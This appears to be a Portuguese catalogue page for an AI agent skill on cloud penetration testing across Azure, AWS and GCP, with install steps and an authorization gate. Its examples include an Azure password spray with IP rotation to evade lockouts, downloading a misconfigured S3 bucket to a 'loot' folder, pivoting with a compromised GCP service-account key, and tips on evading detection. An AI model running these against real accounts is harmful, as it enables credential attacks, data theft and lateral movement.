cloud-penetration-testing
Faz seu agente realizar testes de segurança completos em nuvens como AWS, Azure e GCP. Ele procura por vulnerabilidades na infraestrutura de nuvem.
O que ela faz
Esta ferramenta ajuda a verificar a segurança de sistemas na nuvem (como Azure, AWS e Google Cloud). Ela simula ataques controlados para encontrar falhas antes que hackers mal-intencionados o façam.
Quando usar
- ✓Para testar a segurança de uma conta na nuvem antes de colocá-la em produção.
- ✓Para verificar se as proteções de segurança configuradas estão funcionando corretamente.
- ✓Para aprender sobre segurança na nuvem em um ambiente controlado e autorizado.
Exemplo do que pedir para a IA
“Quero testar a segurança da minha conta AWS, focando em encontrar buckets S3 mal configurados.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa comandos específicos para cada provedor de nuvem (Azure, AWS, GCP) para tentar acessar recursos e identificar vulnerabilidades. Ela só executa ações após pedir sua permissão e confirmação explícita.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill cloud-penetration-testingOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/cloud-penetration-testing/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.
Testes de Penetração em Nuvem
Guia Detalhado
Leia o guia detalhado antes de executar esta habilidade. Ele contém o procedimento completo e material de referência. Trate seus requisitos de segurança, pré-requisitos e validação como obrigatórios. Para trabalho focado, carregue as seções relevantes; para trabalho de ponta a ponta, leia o guia completamente.
Pré-requisitos
Ferramentas Necessárias
# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force
# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install
# GCP CLI
tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT
curl -fsSLo "$tmpdir/google-cloud-sdk-install.sh" https://sdk.cloud.google.com
cat "$tmpdir/google-cloud-sdk-install.sh" # review the full installer before executing
bash "$tmpdir/google-cloud-sdk-install.sh"
gcloud init
# Additional tools
pip install scoutsuite pacu
Conhecimento Necessário
- Fundamentos de arquitetura em nuvem
- Gerenciamento de Identidade e Acesso (IAM)
- Mecanismos de autenticação de API
- Conceitos de DevOps e automação
Acesso Necessário
- Autorização por escrito para testes
- Credenciais de teste ou tokens de acesso
- Escopo definido e regras de engajamento
Restrições e Limitações
Requisitos Legais
- Teste apenas com autorização explícita por escrito
- Respeite os limites de escopo entre contas de nuvem
- Não acesse dados de clientes em produção
- Documente todas as atividades de teste
Limitações Técnicas
- MFA pode impedir ataques baseados em credenciais
- Políticas de Acesso Condicional podem restringir o acesso
- CloudTrail/Logs de Atividade registram todas as chamadas de API
- Alguns recursos exigem acesso regional específico
Considerações de Detecção
- Provedores de nuvem registram toda a atividade de API
- Padrões de acesso incomuns disparam alertas
- Use enumeração lenta e deliberada
- Considere GuardDuty, Security Center, Cloud Armor
Exemplos
Exemplo 1: Azure Password Spray
Cenário: Testar a política de senha do Azure AD
# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
Exemplo 2: Enumeração de Bucket S3 da AWS
Cenário: Encontrar e acessar buckets S3 mal configurados
# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt
# Check each bucket for contents
while read bucket; do
echo "Checking: $bucket"
aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt
# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/
Exemplo 3: Comprometimento de Conta de Serviço GCP
Cenário: Pivotar usando conta de serviço comprometida
# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json
# List accessible projects
gcloud projects list
# Enumerate compute instances
gcloud compute instances list --project target-project
# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh
# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
Quando Usar
…
Perguntas frequentes
Preciso de permissão para usar esta ferramenta?
Sim, você precisa de permissão explícita e por escrito do dono do sistema antes de usar esta ferramenta. Usá-la sem permissão é ilegal.
O que acontece se eu não tiver permissão?
A ferramenta foi projetada para não executar testes de ataque sem confirmação. Ela só fornecerá informações defensivas e não realizará ações que possam alterar ou acessar dados sem autorização clara.
Quais provedores de nuvem ela suporta?
Ela suporta os principais provedores de nuvem: Microsoft Azure, Amazon Web Services (AWS) e Google Cloud Platform (GCP).
Detalhes
Descrição original do autor
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP).
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #2550
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC